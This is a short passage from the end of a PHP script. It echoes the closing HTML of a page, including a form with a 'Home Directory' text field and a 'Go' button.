2470 <input name='home_dir' id='home_dir' placeholder='Home Directory' type='text'/>
2471 <input type='submit' value='Go'/>
2472 </td>
2473 </tr>
2474 </form>
2475 </table>";
2476}
2477
2478echo "
2479</center>
2480</div>
2481
2482</body>
2483</html>";
2484?>